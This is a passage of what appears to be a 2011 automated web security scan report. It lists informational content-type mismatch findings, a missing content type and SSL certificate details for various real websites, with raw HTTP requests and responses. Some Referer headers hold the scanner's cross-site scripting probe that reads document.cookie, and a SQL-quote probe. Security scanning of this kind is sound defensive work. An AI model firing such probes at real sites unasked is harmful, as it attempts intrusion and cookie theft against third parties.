Cookie: NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sun, 06 Feb 2011 17:11:06 GMT
Content-Type: text/javascript; charset=utf-8
X-Backend-Content-Length: 5746
X-Embedded-Status: 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 4303

google.feeds.Feed.RawCompletion('0', {"feed":{"feedUrl":"http://feeds.feedburner.com/CyberWiki","title":"CyberPress .. Manuskripte","link":"http://cyberwiki.de/","author":"","description":"Manuskripte
...[SNIP]...

32.63. http://www.itbusinessedge.com/info/gglprojmgmtbeta.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.itbusinessedge.com
Path:	/info/gglprojmgmtbeta.aspx</TEMPLATE_FIELD>

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain XML.

Request

GET /info/gglprojmgmtbeta.aspx</TEMPLATE_FIELD> HTTP/1.1
Host: www.itbusinessedge.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32.64. http://www.jazdtech.com/techdirect/lg/logImpressions.htm previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.jazdtech.com
Path:	/techdirect/lg/logImpressions.htm

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain JSON.

Request

Response

32.65. http://www.khabbr.com/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.khabbr.com
Path:	/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET / HTTP/1.1
Host: www.khabbr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32.66. http://www.kledy.de/checkfield.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.kledy.de
Path:	/checkfield.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /checkfield.php HTTP/1.1
Host: www.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;

Response

32.67. http://www.linuxsecurity.com/images/distros/dist-foresight.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/images/distros/dist-foresight.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /images/distros/dist-foresight.gif HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:47 GMT
Server: Apache
Last-Modified: Wed, 07 Nov 2007 20:42:50 GMT
ETag: "20391b9-1b2c-43e5ccaf7e680"
Accept-Ranges: bytes
Content-Length: 6956
Content-Type: image/gif

.PNG
.
...IHDR...D...D......q......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..[ .]U..g....;..t.H.$ 1A$...l.. lb.l2:.Ti.#......2..3S*..XF..T....2.....(f.Nw........{....x.....;...........!...v.E.s>..
...[SNIP]...

32.68. http://www.linuxsecurity.com/static-content/packetstorm.html previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/static-content/packetstorm.html

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

32.69. http://www.linuxsecurity.com/templates/LSv3-0.1-Front/images/box-header-top-left.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/templates/LSv3-0.1-Front/images/box-header-top-left.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a JPEG image.

Request

GET /templates/LSv3-0.1-Front/images/box-header-top-left.png HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:51 GMT
Server: Apache
Last-Modified: Thu, 26 Mar 2009 14:04:24 GMT
ETag: "20440ce-204-4660617ebaa00"
Accept-Ranges: bytes
Content-Length: 516
Content-Type: image/png

......JFIF.....d.d......Ducky.......<......Adobe.d.................... ... .......

.

...............................................................................................................
...[SNIP]...

32.70. http://www.linuxsecurity.com/templates/LSv3-0.1-Front/images/box-header-top-right.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/templates/LSv3-0.1-Front/images/box-header-top-right.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a JPEG image.

Request

GET /templates/LSv3-0.1-Front/images/box-header-top-right.png HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:54 GMT
Server: Apache
Last-Modified: Thu, 26 Mar 2009 14:04:24 GMT
ETag: "20440cb-208-4660617ebaa00"
Accept-Ranges: bytes
Content-Length: 520
Content-Type: image/png

......JFIF.....d.d......Ducky.......<......Adobe.d.................... ... .......

.

...............................................................................................................
...[SNIP]...

32.71. http://www.linuxsecurity.com/templates/LSv3-0.1-Front/images/contribute.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/templates/LSv3-0.1-Front/images/contribute.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a JPEG image.

Request

GET /templates/LSv3-0.1-Front/images/contribute.png HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:45 GMT
Server: Apache
Last-Modified: Thu, 26 Mar 2009 14:04:24 GMT
ETag: "20440b0-26cc-4660617ebaa00"
Accept-Ranges: bytes
Content-Length: 9932
Content-Type: image/png

......JFIF.....d.d......Ducky.......<......Adobe.d.................... ... .......

.

..........................................................................................................t.{..
...[SNIP]...

32.72. http://www.linuxsecurity.com/templates/LSv3-0.1-Front/images/ls-logo.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/templates/LSv3-0.1-Front/images/ls-logo.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a JPEG image.

Request

GET /templates/LSv3-0.1-Front/images/ls-logo.gif HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:45 GMT
Server: Apache
Last-Modified: Thu, 26 Mar 2009 14:04:24 GMT
ETag: "20440b4-2ed2-4660617ebaa00"
Accept-Ranges: bytes
Content-Length: 11986
Content-Type: image/gif

......JFIF.....d.d......Ducky.......<......Adobe.d.................... ... .......

.

..........................................................................................................t....
...[SNIP]...

32.73. http://www.mittelstandsblog.de/wp-content/themes/j4b20/gam_header.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.mittelstandsblog.de
Path:	/wp-content/themes/j4b20/gam_header.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /wp-content/themes/j4b20/gam_header.js HTTP/1.1
Host: www.mittelstandsblog.de
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:09:47 GMT
Server: Apache
Last-Modified: Tue, 27 Apr 2010 09:18:22 GMT
ETag: "6736-2d2-485346005c8f6"
Accept-Ranges: bytes
Content-Length: 722
Content-Type: application/javascript

GA_googleAddSlot("ca-pub-3182947491397120", "MB_Top_Sponsor");
GA_googleAddSlot("ca-pub-3182947491397120", "MW2_Button_1");
GA_googleAddSlot("ca-pub-3182947491397120", "MW2_Middle_1");
GA_goog
...[SNIP]...

32.74. http://www.netvouz.com/web/images/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.netvouz.com
Path:	/web/images/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain a GIF image.

Request

GET /web/images/favicon.ico HTTP/1.1
Host: www.netvouz.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000mScXrYAmkRywhRVOn3Qvebp:-1

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 12:41:57 GMT
Server: IBM_HTTP_Server
Last-Modified: Sun, 26 Nov 2006 06:32:46 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Content-Language: en-US
Content-Length: 99

GIF89a.......f.3.........!.......,..........4......T.G.8....u ..jc......E6......t<.'...r..........;

32.75. http://www.netvouz.com/web/images/h6_green.png previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.netvouz.com
Path:	/web/images/h6_green.png

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain a PNG image.

Request

GET /web/images/h6_green.png HTTP/1.1
Host: www.netvouz.com
Proxy-Connection: keep-alive
Referer: http://www.netvouz.com/?e032a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E1b86ab2e0f6=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000mScXrYAmkRywhRVOn3Qvebp:-1

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 12:41:55 GMT
Server: IBM_HTTP_Server
Last-Modified: Sat, 03 Feb 2007 08:41:16 GMT
Content-Length: 225
Content-Type: text/plain
Content-Language: en-US

.PNG
.
...IHDR...............(...+tEXtCreation Time.s. 28 jan 2007 01:55:17 +0100
d......tIME.....)..w..... pHYs...t...t.k$......gAMA......a....9IDATx.c.~.....#L.........8...b..c.G...z..._.f......
...[SNIP]...

32.76. http://www.netvouz.com/web/images/searchtips.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.netvouz.com
Path:	/web/images/searchtips.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /web/images/searchtips.gif HTTP/1.1
Host: www.netvouz.com
Proxy-Connection: keep-alive
Referer: http://www.netvouz.com/?e032a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E1b86ab2e0f6=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=0000mScXrYAmkRywhRVOn3Qvebp:-1

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 12:41:55 GMT
Server: IBM_HTTP_Server
Last-Modified: Sat, 09 Dec 2006 15:14:30 GMT
Content-Length: 621
Content-Type: image/gif
Content-Language: en-US

.PNG
.
...IHDR.............(-.S....tIME... ...F..s... pHYs..
...
..B.4.....gAMA......a.....PLTE.!.......cs.Rk..........c..c..k..k..s..{..c{....s{.Rs.Z........c..{..{..ks.Js.R{.R..k........Z..Jk.Js.9
...[SNIP]...

32.77. http://www.orthougm.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.orthougm.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.orthougm.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.1.10.1296942499

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:48:01 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 22 Oct 2010 07:00:16 GMT
ETag: "77a61e-47e-31daa000"
Accept-Ranges: bytes
Content-Length: 1150
Content-Type: text/plain; charset=UTF-8

............ .h.......(....... ..... ...................................................................................................................................................................
...[SNIP]...

32.78. http://www.orthougm.com/ldr.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.orthougm.com
Path:	/ldr.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /ldr.js HTTP/1.1
Host: www.orthougm.com
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:58 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Thu, 03 Feb 2011 14:51:57 GMT
ETag: "a007a1-17-e8389d40"
Accept-Ranges: bytes
Content-Length: 23
Content-Type: application/x-javascript

google_language = "en";

32.79. http://www.owneriq.com/images/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.owneriq.com
Path:	/images/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /images/favicon.ico HTTP/1.1
Host: www.owneriq.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __utmc=46970937; __utmb=46970937.1.10.1296942892

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:32:20 GMT
Server: Apache/2.2.6 (Fedora)
Last-Modified: Tue, 01 Feb 2011 15:50:58 GMT
ETag: "1300131-57e-49b3a7f993c80"
Accept-Ranges: bytes
Content-Length: 1406
Connection: close
Content-Type: text/plain; charset=UTF-8

..............h.......(....... ...............................a;..jC........O.Z4....|.e>..}R...yG..pA...K.qI%..]5..f<..wY...T.........sO-..j>..]:...z..............c?.............................lG(...
...[SNIP]...

32.80. http://www.vibrantmedia.com/about/careers.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.vibrantmedia.com
Path:	/about/careers.asp

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain XML.

Request

Response

32.81. http://www.w3.org/TR/html4/loose.dtd previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.w3.org
Path:	/TR/html4/loose.dtd

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain HTML.

Request

GET /TR/html4/loose.dtd HTTP/1.1
Host: www.w3.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32.82. http://www.w3.org/TR/html4/strict.dtd previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.w3.org
Path:	/TR/html4/strict.dtd

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /TR/html4/strict.dtd HTTP/1.1
Host: www.w3.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

32.83. http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.w3.org
Path:	/TR/xhtml1/DTD/xhtml1-strict.dtd

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /TR/xhtml1/DTD/xhtml1-strict.dtd HTTP/1.1
Host: www.w3.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:06 GMT
Server: Apache/2
Content-Location: xhtml1-strict.dtd.raw
Vary: negotiate,accept-encoding,User-Agent
TCN: choice
Last-Modified: Thu, 01 Aug 2002 13:56:03 GMT
ETag: "6380-3a726d58522c0;475d1b7e9a540"
Accept-Ranges: bytes
Content-Length: 25472
Cache-Control: max-age=7776000
Expires: Fri, 06 May 2011 22:22:06 GMT
P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml"
Connection: close
Content-Type: text/plain

<!--
Extensible HTML version 1.0 Strict DTD

This is the same as HTML 4 Strict except for
changes due to the differences between XML and SGML.

Namespace = http://www.w3.org/1999/xhtml

...[SNIP]...

32.84. http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.w3.org
Path:	/TR/xhtml1/DTD/xhtml1-transitional.dtd

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

GET /TR/xhtml1/DTD/xhtml1-transitional.dtd HTTP/1.1
Host: www.w3.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:47 GMT
Server: Apache/2
Content-Location: xhtml1-transitional.dtd.raw
Vary: negotiate,accept-encoding,User-Agent
TCN: choice
Last-Modified: Thu, 01 Aug 2002 18:37:56 GMT
ETag: "7d6f-3a72ac59d0900;475d1b7e9a540"
Accept-Ranges: bytes
Content-Length: 32111
Cache-Control: max-age=7776000
Expires: Fri, 06 May 2011 22:21:47 GMT
P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml"
Connection: close
Content-Type: text/plain

<!--
Extensible HTML version 1.0 Transitional DTD

This is the same as HTML 4 Transitional except for
changes due to the differences between XML and SGML.

Namespace = http://www.w3.org/19
...[SNIP]...

32.85. http://www.whselfinvest.de/banner/whsbanner.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.whselfinvest.de
Path:	/banner/whsbanner.php

Issue detail

The response contains the following Content-type statement:

Content-type: text/html

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

Response

32.86. http://www2.sesamestats.com/paneltracking.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www2.sesamestats.com
Path:	/paneltracking.aspx

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a BMP image.

Request

GET /paneltracking.aspx?bannerid=KtagGeneric_Ktag_852910_40051907_8&CampaignId=KTagGeneric HTTP/1.1
Host: www2.sesamestats.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
ETag: "22ba9d43aa1d26928512e501f6a029a5:1267715541"
Last-Modified: Thu, 04 Mar 2010 15:12:21 GMT
Accept-Ranges: bytes
Content-Length: 58
Content-Type: image/gif
Date: Sat, 05 Feb 2011 22:26:54 GMT
Connection: close
X-N: S

BM:.......6...(...........................................

33. Content type is not specified previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/favicon.ico

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"3638-1296828533000"
Last-Modified: Fri, 04 Feb 2011 14:08:53 GMT
Content-Length: 3638
Date: Sun, 06 Feb 2011 13:58:57 GMT

..............h...&... ..............(....... ...........@...........................B...yK3...........l.[&......}...ytU.........X...........T.n.....|...i:...^F.g...=...[........w].............u.....
...[SNIP]...

34. SSL certificate previous
There are 4 instances of this issue:

https://splunk.webex.com/
https://static.addtoany.com/
https://www.box.net/
https://www.infosecisland.com/

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

34.1. https://splunk.webex.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://splunk.webex.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.webex.com
Issued by:	VeriSign Class 3 Secure Server CA - G2
Valid from:	Tue Jul 20 19:00:00 CDT 2010
Valid to:	Thu Jul 21 18:59:59 CDT 2011

Certificate chain #1

Issued to:	VeriSign Class 3 Secure Server CA - G2
Issued by:	VeriSign Trust Network
Valid from:	Tue Mar 24 19:00:00 CDT 2009
Valid to:	Sun Mar 24 18:59:59 CDT 2019

Certificate chain #2

Issued to:	VeriSign Trust Network
Issued by:	VeriSign Trust Network
Valid from:	Sun May 17 19:00:00 CDT 1998
Valid to:	Tue Aug 01 18:59:59 CDT 2028

34.2. https://static.addtoany.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://static.addtoany.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	static.addtoany.com
Issued by:	Equifax Secure Certificate Authority
Valid from:	Mon Mar 15 03:01:52 CDT 2010
Valid to:	Mon Mar 16 11:55:23 CDT 2015

Certificate chain #1

Issued to:	Equifax Secure Certificate Authority
Issued by:	Equifax Secure Certificate Authority
Valid from:	Sat Aug 22 11:41:51 CDT 1998
Valid to:	Wed Aug 22 11:41:51 CDT 2018

34.3. https://www.box.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.box.net
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	*.box.net
